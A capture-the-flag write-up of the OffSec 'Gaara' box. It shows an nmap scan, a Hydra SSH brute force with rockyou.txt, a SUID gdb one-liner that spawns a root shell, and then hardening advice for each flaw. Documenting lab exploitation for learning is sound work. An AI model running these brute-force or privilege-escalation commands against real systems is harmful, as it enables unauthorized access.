Gaara — SSH Brute Force + SUID gdb Shell Escape

Gaara is a box that starts simply and ends the same way. There is only SSH and HTTP exposed, and the web server has nothing useful on it — just a single image. The way in is a brute force on SSH using `rockyou.txt`, which pops the `gaara` user in a reasonable time. Once inside, a SUID scan turns up something that does not belong: `gdb`. The GNU debugger with a SUID root bit set is an immediate game over. One GDB Python one-liner later, and the effective UID flips to root. Nothing exotic, just a weak password and a dangerous misconfiguration sitting right out in the open.

Attack Path: SSH brute force (gaara) → SUID gdb GTFObins (root)

Press enter or click to view image in full size

Platform: OffSec Proving Grounds Play
Machine: Gaara
Difficulty: Easy
OS: Linux (Debian)
Date: 2026–03–24

1. Reconnaissance
   1.1  Nmap Port Scan
   1.2  Web Enumeration
2. Initial Access — SSH Brute Force
3. Privilege Escalation — SUID gdb (GTFObins)
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation
   6.1  Weak SSH Password
   6.2  SUID Bit on gdb

1. Reconnaissance

1.1 Nmap Port Scan

nmap -Pn -A -p- --open <TARGET_IP>

Results:

Port    State  Service  Version
------  -----  -------  -----------------------------------
22/tcp  open   SSH      OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp  open   HTTP     Apache httpd 2.4.38 (Debian)

Two ports. The HTTP title came back as “Gaara” — clearly a themed box. Nothing else stood out from the scan. With a minimal surface like this, the web server was worth a quick look before moving to more aggressive approaches.

1.2 Web Enumeration

curl http://<TARGET_IP>

Output:

<html>
    <title>Gaara</title>
    <img src="gaara.jpg" alt="wallpaper" width="100%" height="100%">
</html>

That is the entire page. A single image, no links, no forms, no parameters, no hidden paths worth pursuing. Directory enumeration found nothing interesting either. The web server is a dead end. The only real attack surface here is SSH, and with a known username from the machine’s theme — gaara — brute force is the logical next step.

2. Initial Access — SSH Brute Force

With no other way in, Hydra was pointed at SSH using gaara as the username and rockyou.txt as the wordlist:

hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP> -t 4

Result:

[22][ssh] host: <TARGET_IP>   login: gaara   password: <redacted>
1 of 1 target successfully completed, 1 valid password found

Password found: <redacted>. Logged in over SSH:

ssh gaara@<TARGET_IP>
# Password: <redacted>

Shell obtained as gaara.

3. Privilege Escalation — SUID gdb (GTFObins)

First check after landing — SUID binaries:

find / -perm -u=s -type f 2>/dev/null

Output (notable entries):

/usr/bin/gdb
/usr/bin/sudo
/usr/bin/su
/usr/bin/passwd
...

/usr/bin/gdb with the SUID bit set. GDB — the GNU Debugger — has no business being SUID root. This is a well-known GTFObins entry: GDB can execute arbitrary Python code at startup, and since it is running with root's effective UID, any shell spawned inherits that privilege.

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Output:

GNU gdb (Debian 8.2.1-2+b3) 8.2.1
...
# id
uid=1001(gaara) gid=1001(gaara) euid=0(root) egid=0(root) groups=0(root),1001(gaara)

euid=0 — root's effective UID. The -p flag on sh preserves the elevated effective UID rather than dropping it. Root shell obtained.

Press enter or click to view image in full size

4. Proof of Compromise

# id
uid=1001(gaara) gid=1001(gaara) euid=0(root) egid=0(root) groups=0(root),1001(gaara)

5. Vulnerability Summary

#   Vulnerability              Severity  Impact
--  -------------------------  --------  -----------------------------------------------
1   Weak SSH password          High      SSH brute force gives initial user access
2   SUID bit set on /usr/bin/gdb  High   Local privilege escalation to root via GTFObins

6. Defense & Mitigation

6.1 Weak SSH Password

Root Cause: The gaara account was protected by a password that appeared in the rockyou.txt wordlist — one of the most commonly used password lists in existence. Any attacker with network access to port 22 and a username could have found it.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Mitigations:

Disable SSH password authentication entirely. Set PasswordAuthentication no in /etc/ssh/sshd_config and use key-based authentication only. This eliminates brute force attacks against SSH.
Enforce strong password policies. If passwords are required, use pam_pwquality a policy to mandate minimum length and complexity. A password like iloveyou2 this would fail any reasonable policy.
Implement login rate limiting. Tools like fail2ban can detect and block IPs that are generating repeated failed SSH login attempts, slowing down or stopping brute force attacks. Configure it to ban after a small number of failures with an exponential backoff.
Change the SSH port. Moving SSH off port 22 does not stop a determined attacker, but it eliminates the vast majority of automated scanning noise and reduces exposure significantly.
Restrict SSH access by IP. If the set of machines that need SSH access is known, use AllowUsers directives or firewall rules to restrict which IPs can even reach port 22.

6.2 SUID Bit on gdb

Root Cause: The SUID bit was set on /usr/bin/gdb, meaning any user who executed it would do so with root's effective UID. GDB is a debugger with rich scripting capabilities — it can execute Python, run shell commands, and call arbitrary system functions. SUID on a tool this powerful is equivalent to giving every user passwordless root access.